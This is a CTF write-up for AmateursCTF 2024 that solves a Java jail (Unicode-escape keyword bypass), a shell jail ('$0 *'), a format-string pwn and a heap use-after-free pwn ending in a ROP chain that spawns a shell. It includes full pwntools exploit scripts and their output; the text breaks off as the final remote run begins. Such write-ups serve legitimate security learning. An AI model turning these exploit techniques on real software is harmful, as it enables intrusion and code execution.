Post

Amateurs CTF 2024


jail/javajail1

Good luck getting anything to run.
nc chal.amt.rs 2103

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/local/bin/python3

import subprocess

BANNED = ['import', 'class', 'Main', '{', '}'] # good luck getting anything to run

print('''
      Welcome to the Java Jail.
      Have fun coding in Java!
      ''')

print('''Enter in your code below (will be written to Main.java), end with --EOF--\n''')

code = ''
while True:
    line = input()
    if line == '--EOF--':
        break
    code += line + '\n'

for word in BANNED:
    if word in code:
        print('Not allowed')
        exit()

with open('/tmp/Main.java', 'w') as f:
    f.write(code)

print("Here's your output:")
output = subprocess.run(['java', '-Xmx648M', '-Xss32M', '/tmp/Main.java'], capture_output=True)
print(output.stdout.decode('utf-8'))

again we get to execute any java program but we have a list of banned words which must be avoided ( we will see how to tackle those in a while but for now let’s make a sample program to print out the flag )

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.*;

class main {
    public static void main(String args[]) throws Exception {
            FileInputStream fis = new FileInputStream("./flag.txt");
            BufferedReader br = new BufferedReader(new InputStreamReader(fis));
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
            br.close();
    }
}

Vulnerability

A compiler for the Java programming language (“Java compiler”) first recognizes Unicode escapes in its input, translating the ASCII characters \u followed by four hexadecimal digits to the UTF-16 code unit (§3.1) of the indicated hexadecimal value, and passing all other characters unchanged.
~ Source

Basically if we replace the c of class with \u0063 in the source code and compile it again, we will see that it compiles without any error and prints the flag locally.

Exploit

If we repeat the same for every banned word in the source code we get the following java code:

1
2
3
4
5
6
7
8
9
10
11
12
13
\u0069mport java.io.*;

\u0063lass \u004dain \u007b
    public static void main(String args[]) throws Exception \u007b
      FileInputStream fis = new FileInputStream("./flag.txt");
      BufferedReader br = new BufferedReader(new InputStreamReader(fis));
      String line;
      while ((line = br.readLine()) != null) \u007b
          System.out.println(line);
      \u007d
      br.close();
    \u007d
\u007d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ nc chal.amt.rs 2103

      Welcome to the Java Jail.
      Have fun coding in Java!

Enter in your code below (will be written to Main.java), end with --EOF--

\u0069mport java.io.*;

\u0063lass \u004dain \u007b
    public static void main(String args[]) throws Exception \u007b
      FileInputStream fis = new FileInputStream("./flag.txt");
      BufferedReader br = new BufferedReader(new InputStreamReader(fis));
      String line;
      while ((line = br.readLine()) != null) \u007b
          System.out.println(line);
      \u007d
      br.close();
    \u007d
\u007d
--EOF--

Here's your output:
amateursCTF{yeah_this_looks_like_a_good_feature_to_me!}

Flag

amateursCTF{yeah_this_looks_like_a_good_feature_to_me!}


jail/sansomega

Somehow I think the pico one had too many unintendeds…
So I left some more in :)
nc chal.amt.rs 2100

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/local/bin/python3
import subprocess

BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]'


def shell():
    while True:
        cmd = input('$ ')
        if any(c in BANNED for c in cmd):
            print('Banned characters detected')
            exit(1)

        if len(cmd) >= 20:
            print('Command too long')
            exit(1)

        proc = subprocess.Popen(
            ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

        print(proc.stdout.read().decode('utf-8'), end='')

if __name__ == '__main__':
    shell()

The program basically allows us arbitrary command execution but blocks the following characters:

1
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]

Vulnerability

This list is obviously incomplete, we can use $0

When not used in the script, the $0 holds the information of which shell you are currently using. So if you print the value of the $0, it will show you which shell you are currently logged in.

as well as *

1
2
3
4
> nc chal.amt.rs 2100
$ *
/bin/sh: 1: flag.txt: not found
$

this shows that the current working directory contains the flag.txt file.

Exploit

We can combine $0 with * to execute the flag.txt file as a shell script, this will try to execute the flag contents as a shell command and ultimately give the <command>: not found error.

1
2
3
> nc chal.amt.rs 2100
$ $0 *
flag.txt: 1: amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}: not found

Flag

amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}


pwn/bearsay

bearsay(1)
bearsay - configurable speaking/thinking bear (and a bit more)
nc chal.amt.rs 1338

Analysis

The entire program is relatively large to reverse engineer (although not difficult at all), but the crux is here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
      iVar2 = strcmp("flag",&buffer);
      if (iVar2 != 0) break;
      if (is_mother_bear != 0xbad0bad) {
        uVar1 = rand();
        printf("ANGRY BEAR %s\n",*(undefined8 *)(bears + (ulong)(uVar1 & 3) * 8));
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      __stream = fopen("./flag.txt","r");
      fgets(flag,0x1000,__stream);
      fclose(__stream);
      box(0x7c,0x2d,2,flag);
      puts("|\n|\n|");
      uVar1 = rand();
      puts(*(char **)(bears + (ulong)(uVar1 & 3) * 8));
    }

if we give “flag” as the input the program will open ./flag.txt and print it out, provided is_mother_bear = 0xbad0bad. The only problem is, is_mother_bear is explicitly defined as 0 and moreover it is never changed throughout the entire execution.

Vulnerability

Honestly I did not reverse engineer the entire program and couldn’t find the vulnerability in the first attempt and almost gave up.

Luckily my teammate makider did not give up and tested the program for format string vulnerability, and it turns out, that was the intented bug. So I took the efforts and saw the box() function again and found that it was hiding between several putchar() calls:

1
2
3
4
5
  putchar(0x20);
  printf(param_4); // <- vulnerability
  putchar(0x20);
  putchar((int)param_1);
  putchar(10);

Format string vulnerabilities are super helpful because they allow both arbitrary read and arbitrary write.

Exploit

From now the plan is straightforward, use fmt vuln to write 0xbad0bad to is_mother_bear, but if you look at the protections:

1
2
3
4
5
6
7
8
$ checksec chal
[*] '/home/vulnx/Games/CTFs/amateurs/pwn/bearsay/bearsay/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./lib'

PIE is enabled, which means the memory address of is_mother_bear will be randomized on every execution.

This is not a problem for us since we can utilise the fmt vuln to get a binary leak and use that leak to calculate the actual address of is_mother_bear at runtime since the interal offsets won’t be changing.

If you set a breakpoint in GDB just before the printf(foo) call and look at the stack, here is how it will look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pwndbg> b * box +188
Breakpoint 1 at 0x131b
pwndbg> r
Starting program: /home/vulnx/Games/CTFs/amateurs/pwn/bearsay/bearsay/chal
🧸 say: AAAABBBB
************
*
Breakpoint 1, 0x000055555555531b in box ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
...
pwndbg> stack 50
00:0000│ rsp 0x7fffffffb9b0 ◂— 0x0
01:0008│-038 0x7fffffffb9b8 —▸ 0x7fffffffba30 ◂— 'AAAABBBB'
02:0010│-030 0x7fffffffb9c0 ◂— 0xf7ffd040
03:0018│-028 0x7fffffffb9c8 ◂— 0x7f2af7c7f42a
04:0020│-020 0x7fffffffb9d0 ◂— 0x0
05:0028│-018 0x7fffffffb9d8 ◂— 0xffffda40
06:0030│-010 0x7fffffffb9e0 ◂— 0x8ffffdb58
07:0038│-008 0x7fffffffb9e8 ◂— 0x61ac0e76eaaf3100
08:0040│ rbp 0x7fffffffb9f0 —▸ 0x7fffffffda40 ◂— 0x1
09:0048│+008 0x7fffffffb9f8 —▸ 0x555555555678 (main+702) ◂— mov eax, dword ptr [rbp - 0x202c]
0a:0050│+010 0x7fffffffba00 —▸ 0x7fffffffdb58 —▸ 0x7fffffffdedc ◂— '/home/vulnx/Games/CTFs/amateurs/pwn/bearsay/bearsay/chal'
0b:0058│+018 0x7fffffffba08 ◂— 0x100000000
0c:0060│+020 0x7fffffffba10 ◂— 0x800000000
0d:0068│+028 0x7fffffffba18 —▸ 0x7fffffffba38 ◂— 0x0
0e:0070│+030 0x7fffffffba20 ◂— 0x0
0f:0078│+038 0x7fffffffba28 ◂— 0x0
10:0080│ rdi 0x7fffffffba30 ◂— 'AAAABBBB'
11:0088│+048 0x7fffffffba38 ◂— 0x0
... ↓        32 skipped

We notice 2 important things from this stack dump:

  1. We have a binary address at RBP+0x8 : 0x7fffffffb9f8 —▸ 0x555555555678

  2. Our input is at RBP+0x40 : 0x7fffffffba30 ◂— 'AAAABBBB'

We can easily calculate at which indexes can we find these by:

index = ((<stack_address> - RSP)/8)+6

In this case:

1
2
3
4
pwndbg> p/d ((0x7fffffffb9f8-0x7fffffffb9b0)/8)+6
$1 = 15
pwndbg> p/d ((0x7fffffffba30-0x7fffffffb9b0)/8)+6
$2 = 22
  • we can get binary leak via: %15$p

  • and get the start of our input via: %22$p

Also by doing this:

1
2
3
4
5
6
7
8
pwndbg> vmmap 0x555555555678
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /home/vulnx/Games/CTFs/amateurs/pwn/bearsay/bearsay/chal
►   0x555555555000     0x555555556000 r-xp     1000   1000 /home/vulnx/Games/CTFs/amateurs/pwn/bearsay/bearsay/chal +0x678
    0x555555556000     0x555555557000 r--p     1000   2000 /home/vulnx/Games/CTFs/amateurs/pwn/bearsay/bearsay/chal
pwndbg> p/x 0x555555555678-0x555555554000
$3 = 0x1678

we can find out that the binary leak is 0x1678 bytes ahead of the actual binary base so we know what to subtract :D

Once we have the correct binary base, we have the correct address of is_mother_bear, now we can simply use pwntools fmtstr_payload function to set is_mother_bear to 0xbad0bad via:

1
2
3
payload = fmtstr_payload(22, {
    is_mother_bear: 0xbad0bad
}, write_size='short')

we then send this payload and get the flag.

Here is the full solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal", checksec=False)

context.binary = exe
context.terminal = [ 'tmux', 'splitw', '-h' ]
gdbscript='''
b * box+188
c
'''
def conn():
    if args.LOCAL:
        r = process([exe.path])
    else:
        r = remote("chal.amt.rs", 1338)

    return r


def main():
    r = conn()

    # good luck pwning :)
    # gdb.attach(r, gdbscript=gdbscript)
    r.sendlineafter(b'say: ', b'%15$p')
    r.recvuntil(b'0x')
    leak = int( r.recvline().split(b' ')[0], 16 )
    log.info('leak @ %s' % hex(leak))
    exe.address = leak - 0x1678
    log.success('exe.address @ %s' % hex(exe.address))
    is_mother_bear = exe.sym.is_mother_bear
    log.info('is_mother_bear @ %s' % hex(is_mother_bear))
    payload = fmtstr_payload(22, {
        is_mother_bear: 0xbad0bad
    }, write_size='short')
    r.sendlineafter(b'say: ', payload)
    r.sendlineafter(b'say: ', b'flag')
    print(r.recvline_contains(b'amateursCTF').decode())
    r.close()


if __name__ == "__main__":
    main()
1
2
3
4
5
6
7
$ python solve.py
[+] Opening connection to chal.amt.rs on port 1338: Done
[*] leak @ 0x56286eb81678
[+] exe.address @ 0x56286eb80000
[*] is_mother_bear @ 0x56286eb84044
| amateursCTF{bearsay_mooooooooooooooooooo?} |
[*] Closed connection to chal.amt.rs port 1338

Flag

amateursCTF{bearsay_mooooooooooooooooooo?}


pwn/heaps-of-fun

This was a very fun challenge because this is the first time I have solved a heap exploitation challenge in a CTF. However I still do not know and understand heap exploitation in detail so a lot of the information in this post might be inaccurate ( please let me know ). Hence I choose to document my findings in detail so I may use this as a reference in future challenges.

TL;DR

  • use tcache house of spirit to get malloc to return arbitrary pointer
  • leak libc
  • leak stack ( via libc’s environ )
  • write ROP chain to saved return pointer
  • attempt to exit and trigger ROP chain

New concepts learnt

  • Stack leak can be obtained from libc by reading environ
  • Pointer obfuscation

Analysis

1
2
3
4
5
6
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./lib'

All protections enabled.

1
2
$ strings lib/libc.so.6 | grep "GNU C Library"
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.6) stable release version 2.35.

Uses GLIBC 2.35

Furthermore no win() function.

1
2
3
4
5
6
7
8
9
10
11
12
$ ./chal
##############################################
# WELCOME to the amateurs key/value database #
##############################################

       =[ menu ]=
[1] => create key/value store
[2] => update key/value store
[3] => read   key/value store
[4] => delete key/value store
[5] => depart
>>>

This is a very standard type heap challenge which offers CRUD (Create/Read/Update/Delete) functionality.

Vulnerability

The interesting thing to see if it has UAF (Use-After-Free) bugs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
>>> 1

       =[ create ]=
index:
>>> 0
len:
>>> 10
key:
>>> random_key
len:
>>> 10
val:
>>> random_value

       =[ menu ]=
[1] => create key/value store
[2] => update key/value store
[3] => read   key/value store
[4] => delete key/value store
[5] => depart
>>> 3

       =[ read ]=
index:
>>> 0
key = random_key\x00
val = random_val\x00

       =[ menu ]=
[1] => create key/value store
[2] => update key/value store
[3] => read   key/value store
[4] => delete key/value store
[5] => depart
>>> 4

       =[ delete ]
index:
>>> 0

       =[ menu ]=
[1] => create key/value store
[2] => update key/value store
[3] => read   key/value store
[4] => delete key/value store
[5] => depart
>>> 3

       =[ read ]=
index:
>>> 0
key = \xb0}\xec\xf9\x05\x00\x00\x00T\xa3\xa4
val = \x10\x7f7>\x9b_\x00\x00T\xa3\xa4

Yes we can view and update chunk metadata after it has been freed.

Also one important thing is, by using [1] we are creating 2 chunks instead of 1:

  • One for the key

  • and other for the value

Exploit

The first thing that comes to my mind is:

  • use House of Spirit to get malloc to return a pointer to the saved return pointer after the main() function’s stack frame
  • use that to write a ROP chain : system("/bin/sh")

But there are two obstacles:

  1. Most certainly ASLR is enabled on the server so the addresses of system() and the string "/bin/sh" will be changing at every execution. So we will need a libc leak to compute the base address at runtime.
  2. We need a stack leak to figure out the address of saved return pointer, and I have no idea how to get a stack leak from UAF.

I ignore the second obstacle and proceeded to get a libc leak.


When a chunk is freed and it goes in the unsorted bin, the chunk header contains a pointer to the libc main_arena, we can use [3] to leak this pointer and get the libc base.

Also for House of Spirit attack we will need to do pointer obfuscation ( more on that later ) which is why we will need a heap leak as well. We can get that leak via the metadata of the first chunk in the tcachebin.

So to summarise here is how the heap should be looking:

Chunk indexSizePurposeState
Chunk00x20Fill tcache [1/7]Free
Chunk10x20Fill tcache [2/7]Free
Chunk20x30Fill tcache [3/7]Free
Chunk30x30Fill tcache [4/7]Free
Chunk40x10Fill tcache [5/7]Free
Chunk50x10Fill tcache [6/7]Free
Chunk60x10Fill tcache [7/7]Free
Chunk70x500Go in unsorted binFree
Chunk80x10Barrier chunkAllocated
Chunk90x10Barrier chunkAllocated

Here is some of the helper functions that I’ve created to interact with the binary seamlessly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
    def create(idx, ksize, key, vsize, val):
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'1')
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(idx).encode())
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(ksize).encode())
        print(r.clean(timeout=timeout).decode())
        r.sendline(key)
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(vsize).encode())
        print(r.clean(timeout=timeout).decode())
        r.sendline(val)

    def free(idx):
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'4')
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(idx).encode())

    def update(idx, val):
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'2')
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(idx).encode())
        print(r.clean(timeout=timeout).decode())
        r.sendline(val)

    def read(idx):
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'3')
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(idx).encode())
        return r.clean(timeout=1)

    def depart():
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'5')

    def custom_u64(leaked_bytes):
        leak = 0
        counter = 0
        while leaked_bytes != '':
            if leaked_bytes.startswith('\\'):
                leak += int(leaked_bytes[2:4], 16) << (8 * counter)
                leaked_bytes = leaked_bytes[4:]
            else:
                leak += ord(leaked_bytes[0]) << (8 * counter)
                leaked_bytes = leaked_bytes[1:]

            counter += 1
        return leak

Then we can use a similar get_leaks() function to get the libc leak and the heap leak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def get_leaks():
        # Remember: each create() call allocates 2 chunks on the heap
        create(0, 0x20, b'chunk0', 0x20, b'value0')
        create(1, 0x30, b'chunk1', 0x30, b'value1')
        create(2, 0x10, b'chunk2', 0x10, b'value2')
        create(3, 0x10, b'chunk3', 0x500, b'value3')
        create(4, 0x10, b'barrier', 0x10, b'barrier')

        free(2)     # Free in reverse order
        free(1)     # because tcachebin also
        free(0)     # fills in LIFO layout.
        free(3)     # Goes in unsorted bin.

        data = read(3) # Read libc leak ( via unsorted bin )
        data = data.split(b'val = ')[1].split(b'\\x00')[0].decode()
        leak = custom_u64(data)
        log.info('libc leak @ %s' % hex(leak))

        data = read(0)
        data = data.split(b'key = ')[1].split(b'\\x00')[0].decode()
        global heap
        heap = custom_u64(data) << 12
        log.success('heap base @ %s' % hex(heap))

On calling get_leaks() I get the following output:

1
2
3
4
5
6
7
8
>>>
[*] libc leak @ 0x7571d081ace0


       =[ read ]=
index:
>>>
[+] heap base @ 0x58c38be47000

We can attach a debugger and verify if the heap base is correct:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x58c38bbfc000     0x58c38bbfd000 r--p     1000      0 /home/vulnx/Games/CTFs/amateurs/pwn/heaps-of-fun/heaps-of-fun/chal
    0x58c38bbfd000     0x58c38bbfe000 r-xp     1000   1000 /home/vulnx/Games/CTFs/amateurs/pwn/heaps-of-fun/heaps-of-fun/chal
    0x58c38bbfe000     0x58c38bbff000 r--p     1000   2000 /home/vulnx/Games/CTFs/amateurs/pwn/heaps-of-fun/heaps-of-fun/chal
    0x58c38bbff000     0x58c38bc00000 r--p     1000   2000 /home/vulnx/Games/CTFs/amateurs/pwn/heaps-of-fun/heaps-of-fun/chal
    0x58c38bc00000     0x58c38bc01000 rw-p     1000   3000 /home/vulnx/Games/CTFs/amateurs/pwn/heaps-of-fun/heaps-of-fun/chal
    0x58c38be47000     0x58c38be68000 rw-p    21000      0 [heap]
    0x7571d0600000     0x7571d0628000 r--p    28000      0 /home/vulnx/Games/CTFs/amateurs/pwn/heaps-of-fun/heaps-of-fun/lib/libc.so.6
    0x7571d0628000     0x7571d07bd000 r-xp   195000  28000 /home/vulnx/Games/CTFs/amateurs/pwn/heaps-of-fun/heaps-of-fun/lib/libc.so.6
...

Yes heap base looks correct.

Also while we are at the debugger we can calculate how far the libc leak is, from the actual base:

1
2
pwndbg> p/x 0x7571d081ace0-0x7571d0600000
$1 = 0x21ace0

Right, so here is the revised get_leaks() function:

1
2
3
4
5
6
    def get_leaks():
        ...
        log.info('libc leak @ %s' % hex(leak))
        libc.address = leak - 0x21ace0 # Calculated with debugger
        log.success('libc base @ %s' % hex(libc.address))
        ...

Let’s see if we get correct base now:

1
2
3
4
5
6
7
8
9
>>>
[*] libc leak @ 0x769df441ace0
[+] libc base @ 0x769df4200000


       =[ read ]=
index:
>>>
[+] heap base @ 0x60a73cb97000

yes we do. Let’s proceed


But now what, we can use the libc base to accurately prepare a ROP chain but what about writing it? Where to write this ROP chain? Obvious after the stack frame of main() but we don’t know where that is, unless we have a stack leak as well.

I don’t know a way to get a stack leak directly from a UAF but from what I found by doing some research is that libc contains a variable called environ that holds a pointer to stack. If we can use tcache house of spirit to get malloc to return a pointer to environ, we can use the application’s read functionality to read the stack leak.

Let’s try it out:

1
2
3
4
5
6
7
8
    get_leaks()
    update(0, p64( obfuscate(libc.sym.environ) ))
    create(0, 0x20, b'', 0x20, b'')

    data = read(0)
    data = data.split(b'val = ')[1].split(b'\\x00')[0].decode()
    stack_leak = custom_u64(data)
    log.info('stack leak @ %s' % hex(stack_leak))
1
2
    def obfuscate(address):
        return address ^ ( ( heap + 0x2d0 ) >> 12 ) # 0x2d0 is offset of first tcache chunk

Safe-Linking was introduced in GLIBC 2.32 which requires us to obfuscate the pointer before overwriting it. You can read more about it here.

When I ran the script multiple times, I got the following output:

1
2
3
index:
>>>
[*] stack leak @ 0x0

And this was confusing.

After sometime of debugging I realised that something is wrong.

When we do create(0, 0x20, b'', 0x20, b'') we are creating a chunk and writing nothing to it, and creating another chunk and writing nothing (null byte) to it.

This is wrong, because the 2nd chunk we allocate is the pointer to environ. We want to read this value immediately, and not tamper it by writing to it. But since the application forces us to write something ( we write nothing - NULL byte ), a NULL byte gets written to the LSB of the stack leak.

This is a huge loss because it causes a loss in accuracy of 1 byte ( or 256 possible values ).

We need to correct this immediately. So I chose to do this:

  • we use house of spirit to get malloc to return a pointer to environ environ-0x10 ( -0x10 because the heap expects it to be 16 byte aligned )

  • then we overwrite the minimum data we can = NULL byte. this way we are not corrupting the pointer at environ but a value at environ-0x10

  • then we continue to read as usual and skip the first 0x10 bytes (which are apparently all NULL) and then read the actual pointer and get stack leak

here is the revised code:

1
2
3
4
5
6
7
    update(0, p64( obfuscate(libc.sym.environ - 0x10) ))
    create(0, 0x20, b'', 0x20, b'')

    data = read(0)
    data = data.split(b'val = \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')[1].split(b'\\x00')[0].decode()
    stack_leak = custom_u64(data)
    log.info('stack leak @ %s' % hex(stack_leak))
1
2
3
index:
>>>
[*] stack leak @ 0x7ffda98a3918

Hmm that looks correct.

Let’s attach a debugger and find out how off this is from the saved return pointer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> bt
#0  0x00007223829147e2 in __GI___libc_read (fd=0,
    buf=0x722382a1ab23 <_IO_2_1_stdin_+131>, nbytes=1)
    at ../sysdeps/unix/sysv/linux/read.c:26
#1  0x000072238288cc36 in _IO_new_file_underflow (
    fp=0x722382a1aaa0 <_IO_2_1_stdin_>) at ./libio/libioP.h:947
#2  0x000072238288dd96 in __GI__IO_default_uflow (
    fp=0x722382a1aaa0 <_IO_2_1_stdin_>) at ./libio/libioP.h:947
#3  0x00007223828630d0 in __vfscanf_internal (s=<optimized out>,
    format=<optimized out>, argptr=argptr@entry=0x7ffda98a36e0,
    mode_flags=mode_flags@entry=2) at ./stdio-common/vfscanf-internal.c:628
#4  0x0000722382862142 in __isoc99_scanf (format=<optimized out>)
    at ./stdio-common/isoc99_scanf.c:30
#5  0x000057a4a76774fd in db_menu ()
#6  0x000057a4a76779fc in main ()
#7  0x0000722382829d90 in __libc_start_call_main (
    main=main@entry=0x57a4a7677977 <main>, argc=argc@entry=1,
    argv=argv@entry=0x7ffda98a3908)
    at ../sysdeps/nptl/libc_start_call_main.h:58
#8  0x0000722382829e40 in __libc_start_main_impl (
    main=0x57a4a7677977 <main>, argc=1, argv=0x7ffda98a3908,
    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
    stack_end=0x7ffda98a38f8) at ../csu/libc-start.c:392
#9  0x000057a4a7677115 in _start ()
pwndbg> search -t pointer 0x0000722382829d90
Searching for value: b'\x90\x9d\x82\x82#r\x00\x00'
[stack]         0x7ffda98a37f8 0x722382829d90
pwndbg> p/x 0x7ffda98a3918-0x7ffda98a37f8
$1 = 0x120

Ok let’s use this data to create a ROP chain and write it to the actual saved return pointer:

1
2
3
4
5
6
7
8
9
10
11
12
    log.info('stack leak @ %s' % hex(stack_leak))
    saved_return_pointer = stack_leak - 0x120
    update(1, p64( obfuscate(saved_return_pointer) ))
    rop = ROP(libc)
    rop.raw( rop.find_gadget(['ret']).address ) # Fix stack alignment
    rop.system(next(libc.search(b'/bin/sh\x00')))
    print(rop.dump())
    payload = rop.chain()
    create(1, 0x30, b'fake', 0x30, payload)

    # Trigger the ROP chain by departing from main()
    depart()
1
2
3
4
5
>>> malloc(): unaligned tcache chunk detected


[*] Switching to interactive mode
[*] Got EOF while reading in interactive

Huh? unaligned tcache chunk detected why?

It seems that we can’t malloc to return an arbitrary pointer to the actual saved return pointer because it isn’t 16 byte aligned.

To fix this I forced malloc to get a pointer to ret_ptr - 0x8 and fill those previous 8 bytes with junk data and proceed with the ROP chain as usual.

Here is the final solve script which worked on local and remote instances:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal")
libc = exe.libc
context.binary = exe
context.terminal = [ 'tmux', 'splitw', '-h' ]

heap = 0
timeout = 0.2 # Higher for remote connection
gs = '''
b * main+333
c
'''
def conn():
    if args.LOCAL:
        global timeout
        timeout = 0.05
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gs)
    else:
        r = remote("chal.amt.rs", 1346)

    return r


def main():
    r = conn()

    def create(idx, ksize, key, vsize, val):
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'1')
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(idx).encode())
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(ksize).encode())
        print(r.clean(timeout=timeout).decode())
        r.sendline(key)
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(vsize).encode())
        print(r.clean(timeout=timeout).decode())
        r.sendline(val)

    def free(idx):
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'4')
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(idx).encode())

    def update(idx, val):
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'2')
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(idx).encode())
        print(r.clean(timeout=timeout).decode())
        r.sendline(val)

    def read(idx):
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'3')
        print(r.clean(timeout=timeout).decode())
        r.sendline(str(idx).encode())
        return r.clean(timeout=1)

    def depart():
        print(r.clean(timeout=timeout).decode())
        r.sendline(b'5')

    def custom_u64(leaked_bytes):
        leak = 0
        counter = 0
        while leaked_bytes != '':
            if leaked_bytes.startswith('\\'):
                leak += int(leaked_bytes[2:4], 16) << (8 * counter)
                leaked_bytes = leaked_bytes[4:]
            else:
                leak += ord(leaked_bytes[0]) << (8 * counter)
                leaked_bytes = leaked_bytes[1:]

            counter += 1
        return leak

    def obfuscate(address):
        return address ^ ( ( heap + 0x2d0 ) >> 12 ) # 0x2d0 is offset of first tcache chunk

    def get_leaks():
        # Remember: each create() call allocates 2 chunks on the heap
        create(0, 0x20, b'chunk0', 0x20, b'value0')
        create(1, 0x30, b'chunk1', 0x30, b'value1')
        create(2, 0x10, b'chunk2', 0x10, b'value2')
        create(3, 0x10, b'chunk3', 0x500, b'value3')
        create(4, 0x10, b'barrier', 0x10, b'barrier')

        free(2)     # Free in reverse order
        free(1)     # because tcachebin also
        free(0)     # fills in LIFO layout.
        free(3)     # Goes in unsorted bin.

        data = read(3) # Read libc leak ( via unsorted bin )
        data = data.split(b'val = ')[1].split(b'\\x00')[0].decode()
        leak = custom_u64(data)
        log.info('libc leak @ %s' % hex(leak))
        libc.address = leak - 0x21ace0 # Calculated with debugger
        log.success('libc base @ %s' % hex(libc.address))

        data = read(0) # Read heap base leak ( via tcache bin )
        data = data.split(b'key = ')[1].split(b'\\x00')[0].decode()
        global heap
        heap = custom_u64(data) << 12
        log.success('heap base @ %s' % hex(heap))


    # good luck pwning :)

    get_leaks()
    update(0, p64( obfuscate(libc.sym.environ - 0x10) ))
    create(0, 0x20, b'', 0x20, b'')

    data = read(0)
    data = data.split(b'val = \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')[1].split(b'\\x00')[0].decode()
    stack_leak = custom_u64(data)
    log.info('stack leak @ %s' % hex(stack_leak))
    saved_return_pointer = stack_leak - 0x120 - 0x8
    update(1, p64( obfuscate(saved_return_pointer) ))
    rop = ROP(libc)
    rop.raw( 0 ) # Fill previous 8 bytes with junk data
    rop.raw( rop.find_gadget(['ret']).address ) # Fix stack alignment
    rop.system(next(libc.search(b'/bin/sh\x00')))
    print(rop.dump())
    payload = rop.chain()
    create(1, 0x30, b'fake', 0x30, payload)

    # Trigger the ROP chain by departing from main()
    depart()

    log.success('Popping a shell...')
    r.interactive()


if __name__ == "__main__":
    main()
1
2
3
4
5
6
7
8
$ python solve.py LOCAL
[5] => depart
>>>
[+] Popping a shell...
[*] Switching to interactive mode
$ whoami
vulnx
$

Great, let’s run it against remote and get the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python solve.py
[+] Opening connection to chal.amt.rs on port 1346: Done
...
